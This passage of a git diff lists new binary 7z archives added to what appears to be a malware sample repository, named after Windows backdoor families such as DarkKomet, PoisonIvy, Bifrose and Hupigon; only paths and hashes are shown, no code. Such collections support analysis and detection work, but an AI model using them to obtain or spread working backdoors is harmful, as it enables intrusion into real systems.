b/Win32/Botnets/Backdoor.Win32.Xtreme.bqj.7z differ diff --git a/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fsi.7z b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fsi.7z new file mode 100644 index 00000000..ad3a3b3e Binary files /dev/null and b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fsi.7z differ diff --git a/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fsi9.7z b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fsi9.7z new file mode 100644 index 00000000..6738570d Binary files /dev/null and b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fsi9.7z differ diff --git a/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fvnh.7z b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fvnh.7z new file mode 100644 index 00000000..b482ca45 Binary files /dev/null and b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fvnh.7z differ diff --git a/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fvwi.7z b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fvwi.7z new file mode 100644 index 00000000..433c9e0e Binary files /dev/null and b/Win32/Malware Families/Win32.Bifrose/Backdoor.Win32.Bifrose.fvwi.7z differ diff --git a/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.fldf.7z b/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.fldf.7z new file mode 100644 index 00000000..627b28bb Binary files /dev/null and b/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.fldf.7z differ diff --git a/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.flmi.7z b/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.flmi.7z new file mode 100644 index 00000000..9870e3ba Binary files /dev/null and b/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.flmi.7z differ diff --git a/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.gwon.7z b/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.gwon.7z new file mode 100644 index 00000000..56cab61b Binary files /dev/null and b/Win32/Malware Families/Win32.DarkKomet/Backdoor.Win32.DarkKomet.gwon.7z differ diff --git a/Win32/Malware Families/Win32.Hupigon/Backdoor.Win32.Hupigon.eqlo.7z b/Win32/Malware Families/Win32.Hupigon/Backdoor.Win32.Hupigon.eqlo.7z new file mode 100644 index 00000000..a4e13e2e Binary files /dev/null and b/Win32/Malware Families/Win32.Hupigon/Backdoor.Win32.Hupigon.eqlo.7z differ diff --git a/Win32/Malware Families/Win32.Hupigon/Backdoor.Win32.Hupigon.mrzd.7z b/Win32/Malware Families/Win32.Hupigon/Backdoor.Win32.Hupigon.mrzd.7z new file mode 100644 index 00000000..168985a3 Binary files /dev/null and b/Win32/Malware Families/Win32.Hupigon/Backdoor.Win32.Hupigon.mrzd.7z differ diff --git a/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.aec-4.7z b/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.aec-4.7z new file mode 100644 index 00000000..05f1bb88 Binary files /dev/null and b/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.aec-4.7z differ diff --git a/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.aec.7z b/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.aec.7z new file mode 100644 index 00000000..1504c12e Binary files /dev/null and b/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.aec.7z differ diff --git a/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.huvw.7z b/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.huvw.7z new file mode 100644 index 00000000..337d7dba Binary files /dev/null and b/Win32/Malware Families/Win32.PoisonIvy/Backdoor.Win32.Poison.huvw.7z differ diff --git a/Win32/Malware Families/Win32.Turkojan/Backdoor.Win32.Turkojan.zwh.7z b/Win32/Malware Families/Win32.Turkojan/Backdoor.Win32.Turkojan.zwh.7z new file mode 100644 index 00000000..fd19fc3e Binary files /dev/null and b/Win32/Malware Families/Win32.Turkojan/Backdoor.Win32.Turkojan.zwh.7z differ diff --git a/Win32/Malware Families/Win32.Turkojan/Backdoor.Win32.Turkojan.zwhf.7z b/Win32/Malware Families/Win32.Turkojan/Backdoor.Win32.Turkojan.zwhf.7z new file mode 100644 index 00000000..07db631d Binary files /dev/null and b/Win32/Malware Families/Win32.Turkojan/Backdoor.Win32.Turkojan.zwhf.7z differ diff --git a/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.abz.7z b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.abz.7z new file mode 100644 index 00000000..f81bb001 Binary files /dev/null and b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.abz.7z differ diff --git a/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.ov.7z b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.ov.7z new file mode 100644 index 00000000..7ff95f1f Binary files /dev/null and b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.ov.7z differ diff --git a/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.ova.7z b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.ova.7z new file mode 100644 index 00000000..2dd3c4c3 Binary files /dev/null and b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.ova.7z differ diff --git a/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.wn.7z b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.wn.7z new file mode 100644 index 00000000..b2f8452b Binary files /dev/null and b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.wn.7z differ diff --git a/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.xh.7z b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.xh.7z new file mode 100644 index 00000000..9303fa30 Binary files /dev/null and b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.xh.7z differ diff --git a/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.yi.7z b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.yi.7z new file mode 100644 index 00000000..35634969 Binary files /dev/null and b/Win32/Malware Families/Win32.VKont/Backdoor.MSIL.VKont.yi.7z differ